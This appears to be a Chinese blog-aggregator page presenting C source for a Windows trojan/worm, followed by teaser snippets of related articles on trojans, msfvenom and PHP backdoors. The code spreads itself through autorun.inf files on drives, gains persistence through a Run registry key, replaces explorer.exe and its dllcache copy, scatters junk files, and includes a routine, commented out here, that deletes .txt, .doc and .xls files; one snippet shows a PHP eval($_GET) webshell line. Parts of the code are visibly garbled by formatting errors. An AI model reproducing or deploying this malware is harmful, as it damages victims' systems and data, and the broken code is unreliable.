c语言写木马

news/2024/11/17 0:42:02/

c语言写木马(windows)

/SVCHOST.C /
/
SVCHOST.EXE /
/
SVCHOST.COM /
#include<stdio.h> /标准输入输出/
#include<string.h> /字符串操作/
#include<stdlib.h> /其它函数/
#include<process.h> /进程控制/
#include<dir.h> /目录函数/
#define SVCHOST_NUM 6 /关键位置病毒复制数量/
#define RUBBISH_NUM 5 /垃圾文件数量/
#define REMOVE_NUM 5 /删除文件数/
/
/
/

文件AUTORUN.INF内容:
1.自动运行SVCHOST.com
2.覆盖默认打开命令,使用病毒体作为新的打开方式
3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/
char autorun={"[AutoRun]\nopen=“SVCHOST.com /s”\nshell\open=打开(&O)\nshell\open\Command=“SVCHOST.com /s”\nshell\explore=资源管理器(&X)\nshell\explore\Command=“SVCHOST.com /s”"};
/
=
/
/*
添加注册表项:
1.自动运行生成病毒体C:\windows\wjview32.com
/
char regadd={“REGEDIT4\n\n[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]\n"wjview32”=“C:\\windows\\wjview32.com /s”"};
/
=/
/

函数:复制文件
复制源:infile
目的地:outfile
成功返回0,失败返回1
*/
int copy(char *infile,char *outfile)
{
FILE *input,output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,“rb”))!=NULL) && ((output=fopen(outfile,“wb”))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
/
=
/
/*
函数:通过explorer自动运行
成功返回0,失败返回1,2
/
int autorun_explorer()
{
FILE input;
if((input=fopen(“c:\windows\system\explorer.exe”,“rb”))!=NULL)
{
fclose(input);
remove(“c:\windows\ t e m p temp temp”);
remove(“c:\windows\system32\dllcache\ t e m p temp temp”);
return 1;
}
copy(“c:\windows\explorer.exe”,“c:\windows\system\explorer.exe”);
rename(“c:\windows\explorer.exe”,“c:\windows\ t e m p temp temp”);
rename(“c:\windows\system32\dllcache\explorer.exe”,“c:\windows\system32\dllcache\ t e m p temp temp”);
if(copy(“SVCHOST.com”,“c:\windows\explorer.exe”)0 && copy(“SVCHOST.com”,“c:\windows\system32\dllcache\explorer.exe”)0)
return 0;
else
return 2;
}
/
===/
/

函数:添加注册表项
成功返回0,失败返回1
*/
int add_reg()
{
FILE output;
if((output=fopen("$$$KaTeX parse error: Expected '}', got 'EOF' at end of input: …edit.exe"," /s $$$",NULL);
}
}
/
=
/
/*
函数:复制病毒 + Autorun.inf自动运行
/
void copy_virus()
{
int i,k;
FILE input,output;
char files_svchost[SVCHOST_NUM]={“svchost.com”,“c:\windows\wjview32.com”,“c:\windows\system\MSMOUSE.DLL”,“c:\windows\system32\cmdsys.sys”,“c:\windows\system32\mstsc32.exe”,“c:\windows\explorer.exe”};
char temp[2][20]={“c:\svchost.com”,“c:\autorun.inf”};
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost,“rb”))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost,files_svchost[k]);
}
i=SVCHOST_NUM;
}
}
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost,“rb”))!=NULL)
{
fclose(input);
for(k=0;k<24;k++)
{
copy(files_svchost,temp[0]);
if((output=fopen(temp[1],“w”))!=NULL)
{
fprintf(output,"%s",autorun);
fclose(output);
}
temp[0][0]++;
temp[1][0]++;
}
i=SVCHOST_NUM;
}
}
}
/
=/
/

函数:制造垃圾文件
/
void make_rubbish()
{
int i;
FILE output;
srand(0);
for(i=0;i<RUBBISH_NUM;i++)
{
int n;
char s[30];
n=rand();
sprintf(s,“C:\DESTORY_感染_%d”,n);
if((output=fopen(s,“w”))!=NULL)
{
fprintf(output,"%ld%s",n
n,s);
fclose(output);
}
}
}
/
=============
/
/

函数:删除文件
/
void remove_files()
{
long done;
int i;
struct _finddata_t ffblk;
char remove_files[3]={".txt","
.doc","
.xls"};
for(i=0;i<3;i++)
{
if(_findfirst(remove_files,&ffblk)-1) continue;
while(!done)
{
remove(ffblk.name);
_findnext(done,&ffblk);
}
_findclose(done);
}
}
/*
=================================/
/

主程序
使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行
*/
int main(int argc,char *argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
autorun_explorer();
spawnl(1,“c:\windows\system\explorer.exe”,NULL);
next1:
add_reg();
copy_virus();
make_rubbish();
/
remove_files(); */
spawnl(1,“c:\windows\system32\mstsc32.exe”," /s",NULL);
return 0;
}


http://www.ppmy.cn/news/403017.html

相关文章

特洛伊木马与计算机病毒有什么区别,特洛伊木马Vs病毒Vs蠕虫, 有什么区别?...

如果出现计算机病毒的话题,人们最常犯的错误就是将蠕虫或特洛伊木马称为病毒。尽管木马,蠕虫和病毒这两个术语经常互换使用,但它们并不相似。病毒,蠕虫和特洛伊木马都是可以破坏您的计算机的恶意程序,但是这三者之间存在差异,知道这些差异可以帮助您更好地保护计算机免受…

木马技术补充:木马加壳

说了好几次,要发个加壳的教程,一直都太懒,只好把别人写的简单整理一下,大家莫怪哦。 =====================================

msf之木马程序

目录 捆绑木马生成木马文件附&#xff1a;msfvenom介绍msfvenom简介msfvenom生成exploit/multi/handler模块简介 设置监听反弹发送木马查看对方的ip查看对方目录截图开启摄像头附&#xff1a;Meterpreter常用命令 进一步获取权限伪装 捆绑木马 这里使用的是Kali linux虚拟机 攻…

什么是蠕虫,木马以及二者跟病毒是什么关系!

参考&#xff1a; 蠕虫与木马之间有什么区别 什么是计算机病毒 我认为&#xff0c;病毒就是形容那些影响正常机体的效能的东西的&#xff01; “计算机病毒&#xff08;Computer Virus&#xff09; 是编制者在计算机程序中插入的破坏计算机功能或者数据的代码&#xff0c;能…

木马 --- 基本概念和分类

木马全称为特洛伊木马&#xff0c;来源于古希腊神话。木马是通过欺骗或诱骗的方式安装&#xff0c;并在用户的计算机中隐藏以实现控制用户计算机的目的。 具有远程控制、信息窃取、破坏等功能的恶意代码 木马具有如下特点&#xff1a; 欺骗性 木马都有很强的欺骗性&#xff0…

病毒,木马,蠕虫的区别

病毒、木马和蠕虫都是计算机病毒&#xff0c;但它们的传播方式、特点和危害程度都有所不同。 病毒&#xff1a;病毒是一种将自己复制到其他计算机程序或文件中的恶意软件。病毒通常依赖于用户行为来传播&#xff0c;比如通过电子邮件、移动存储设备等方式。病毒的具体危害程度…

php 木马,PHP后门木马详解

说起php后门木马我就心有愉季啊前不久一个站就因不小心给人注入了然后写入了小木马这样结果大家知道的我就不说了下面我来给大家收集了各种php后门木马做法大家可参考。 php后门木马对大家来说一点都不陌生吧但是它的种类您又知多少呢 本文为您浅析说明一些php后门木马常用的函…

php 图片木马,php图片木马实现原理

什么是木马 木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。 那,php的木马是长什么样的呢?我们来看下面这段代码:<?php @eval($_GET[tioncico]); 这句话的意思是什么呢?只要在网页…